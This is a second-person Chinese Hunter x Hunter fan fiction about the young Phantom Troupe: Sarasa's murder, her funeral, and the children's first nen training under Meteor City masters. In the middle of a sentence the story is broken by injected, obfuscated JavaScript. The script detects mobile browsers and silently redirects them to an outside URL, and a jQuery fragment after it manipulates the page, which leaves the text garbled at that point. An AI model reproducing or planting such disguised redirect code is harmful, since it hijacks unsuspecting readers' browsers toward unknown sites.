旅团的表演大获成功,成员们都很有干劲。后面的练习进度已经快赶上已有的剧情,所以小伙伴们每天要轮流寻找新的录像带。
流星街最近失踪案频发,独自出行并不安全。可是表演在即,差的人数一多就会影响合练。最后大家商量的结果,还是轮流每个人单独去找,但在天黑前就回去。
“……唉。”
你望着快汇成海的垃圾堆叹气。
即便已经托清扫队的哥哥姐姐帮忙留意,还是像大海捞针一样。之前能找到几盘已经是运气极佳了。其实你们自己续写这个故事也不是不行,道具的话东拼西凑也勉强能用。
意料之中的一无所获。你只翻出了某本狗血言情的下卷,检查发现没有皇色描写后拿给库洛洛,当做教育小孩的反面教材。
小孩训练完后抱着津津有味地看,而你望儿石一样盯着他,眼神满含老母亲的不舍。
侠客替专注的读者后背发冷:“你不至于吧,咱们还小,一辈子很长的……”
你:“你不懂,人是会变的。”
侠客:“?”
你怎么把他台词抢了呢。
不甘与冲动还是驱使着你,在发现萨拉萨要离开时问她,要不要明天再去?她如常露出毫无阴霾的笑容:“没关系的,我也想早点看到后面的剧情!”
你只好嘱咐她,绝对不要去太过危险的地方。一定要早点回去。
但命运的那把死亡之剑还是坠落了,只是没有挥到你头顶。
之后的事情像自动播放的电影,快进慢回都不受你控制。你回去后那一晚静静无眠,在玛奇均匀的呼吸声中感受自己重重的心跳,如同被技艺不强的琴师胡乱按过的琴键。演出前,看着同伴们不安的脸庞,你也无法再说出大人一样宽慰的话。
你们没能在萨拉萨家找到她。放映会被迫中止。库洛洛捏着裤角在台上自责地对观众们道歉。在场的孩子们都愿意帮你们一起找,年幼的黑发小孩在他人的善意中动容地落泪鞠躬。
你们四处寻找萨拉萨,大喊着她的名字。库洛洛和窝金在森林外发现了她常戴的心形挎包。
咚。咚。咚。
一步一步,你们走近那个被吊在树上的包裹,走向幻影旅团既定的未来。
你想要闭上眼,不知为何最后又睁开了。于是你看到了让人干呕不止,又泪流不已的东西。经常和库洛洛一起学习外语的你,也能看懂纸条上字迹的含义。
窝金问你们:这是什么意思?
你和库洛洛都沉默。
窝金气得要走,玛奇拦住了他。这地方太冷了,你们不能丢下萨拉萨一个人。
你们收拾好悲恸的自己,带着已经无法再欢笑的萨拉萨去了教堂。神父说会有人来为她修补遗体。回去的路上没人说话。
惨剧从未停止。今天是流星街,明天又可能会是任何一个没有能力保护自己的路人。弱者只是饵食,被贪婪而残酷的上位者玩弄生死。
所以,你们不能在这里停下。
葬礼上,玛奇的那双眼睛看到了入殓师小姐身上萦绕的「气」,决定随她学习。你观察不到,但也准备和她一起走。希拉不见踪影,旅团的其他人也收拾行囊跟上——你们众多的人数遭到了姐姐的嫌弃。
“姐姐,我们很能干的!”你拉着侠客眨巴眼睛,把每个人都吹了一遍,“你看窝金和富兰克林都是大块头,力气超大的,可以劈柴背东西!芬克斯和飞坦读了好多漫画,可以每天给你讲故事!库洛洛头脑很聪明,懂得也多,可以帮你做事!”
“哈?这些我本来自己也可以吧。”入殓师姐姐依然不屑。
“呜,姐姐……美女姐姐你就收留我们吧……”
你露出蛋花眼,侠客有样学样。
可惜库洛洛已经进入面瘫阶段,不然你本可以拉上他一起卖萌的。
姐姐皱了皱眉头,最后还是扶额叹气:“我一个人教不过来,我再叫找几个人来吧。”
“好耶!谢谢姐姐!”
*
你们的几个师傅似乎都是流星街的强者,对训练的要求也颇为严格。旅团开始了全员晨跑和锻炼,结束后才能打坐尝试打开精孔。
窝金是坐不住的,问师傅:“就没有其他能打开的方式吗?”
师傅说当然有,只是强制打开精孔比较危险,控制不好的话有可能死亡。
窝金自然是不怕的,当天就成功开了精孔。信长和芬克斯紧随其后,飞坦在朋友得意的嘲讽下也开了。
你:“……师傅,我也试试吧。”
派克震惊于你和以往完全不同的作风,还是先安抚:“不用着急的,这种方法还是太危险了,而且不能保证百分百成功。”
你的舍友玛奇一语道破原因:“你这几年都有时不时在床上盘腿坐吧。”
“……嗯。”
你捂脸。不出意外的话,打坐一辈子都打不出名堂了!还不如趁现在旁边有人,总能想办法捞你一下。
师傅对你的天赋同情了一会,试图劝说你不要送死。你说你这样怕是也活不了多久,最终他还是以浑厚的气冲开了你的精孔。
“哇塞。”
你突然就能看见周身散着的一层白光,感受到自己的元阳汩汩外泄。
怎么控制来着?你茫然呆立,使不上力气。「气」哗哗外露,像瀑布淋头一样畅快又晕人。
你可不想直接被围观自己被掏干嗝屁的过程啊!
……
最终,在窝金他们急眼了的呼喊中,你强烈的自尊心还是让「气」停止了暴动。
“活着真好……”
你瘫坐在地上。
没有因为控制不了精孔而横死在旅团各位的面前,真好。
飞坦辣评:“真逊。”
你回敬:“那我死了你可别着急!”
略。你可是看见了,方才他那酷似雾○董香的新半边遮脸头下,还是露出了一只写满焦躁的金色眼睛。你差点不合时宜地笑场。
其他选择稳妥打坐的小伙伴与你不同,如此几天就找到了诀窍。后来师傅说,可能只是你没有受过指导,所以自己练
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251005|197936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
习才没有感觉。
不过,你是怎么知道「念」的存在的呢?只能打个哈哈说是家乡的小道消息了。
你们日常还要武力对练。这方面,师傅教的都是杀招,让你们彼此下手都不能留情。于是几个小孩每天互相揍得鼻青脸肿的。其中你最惨,胳膊都快抬不起来了。
真的集中练习上,你才发觉自己和小伙伴们的差距。你的体质不好不坏,但打架时即便脑子跟得上分析,手脚也跟不上过快的动作。而其他人都适应性更强,在流星街也属于天赋异禀的一批。
也或许,你潜意识仍然不想走上这样的道路,所以大脑的某个地方始终在克制战斗的本能,阻止自己的身体变得更凶狠、更锋利。
但是,还能如何呢?除此以外,你现在没有其他走出流星街的办法。
要离开这里,要过上想要的生活,你就必须变强。你不可以害怕厮杀,不能畏惧疼痛。死神只喜欢戏耍最恐惧他的人。
还是多练练吧?晚上师傅赶你们回去休息,你自觉地去外面继续比划。
及时复盘的话,确实有助于改正和提升。你思考着白天是哪几个回合害你惨遭毒手,试着作出其他反应,来反制对手。
“回撤?不,躲不过去的话还是直接揍其他地方……”
“在做什么?”
“噫!”你为黑暗中闪现在你身后,几乎要与夜色融为一体的漆黑影子而惊诧,“库洛洛,你用了「绝」?”
“嗯。”他没什么情绪地说,“刚学会,想着刚才应该是个可以测试效果的场合。”
“好过分,别拿我测试呀。”你无奈地笑了,“就结果而言,倒是大成功呢。”
库洛洛回了句“确实”,就不再说话。你看不清他脸上的表情,只有那双黑眸蒙着夜色的阴翳,又映着月光的皎洁。
一时间,你也不知道该说什么。不,其实你还可以问,他怎么不回去休息?也可以回答他你在自主练习。可是不知为何,话到嘴边就是说不出口。
萨拉萨死后,库洛洛很少再笑。确切地说,是没有再笑过。
人在遭受创伤后会开启情感解离状态,以规避对痛苦的感受。他对一切的感知就像是蒙上透明又无限打薄的雾一样,不影响对世界和他人的确切观察,但都与他自己天然地隔开了。
他在雾里自洽,在雾外演绎。
或许属于小库洛仔的大多数情感也被踢到了那圈雾的另一面,因此库洛洛平常也没有什么剧烈的反应,表情始终是淡淡的。
理所当然地,你愈发不懂他在想什么。他不再是直接把想法说出来、表现在脸上的人。朝夕相处照旧,你们的距离却已经拉远,他沉入了你不允许自己踏入的世界。
可是,你们还没到彻底分开的时候,不是吗?至少在那之前,你还想和他多说说话。
“库洛洛,我…、”
随便说些什么都好,反正他会听的。因为他就是那样的人啊。
“拉芙。”
他看着你,低声说。
“不要再那么冲动了。”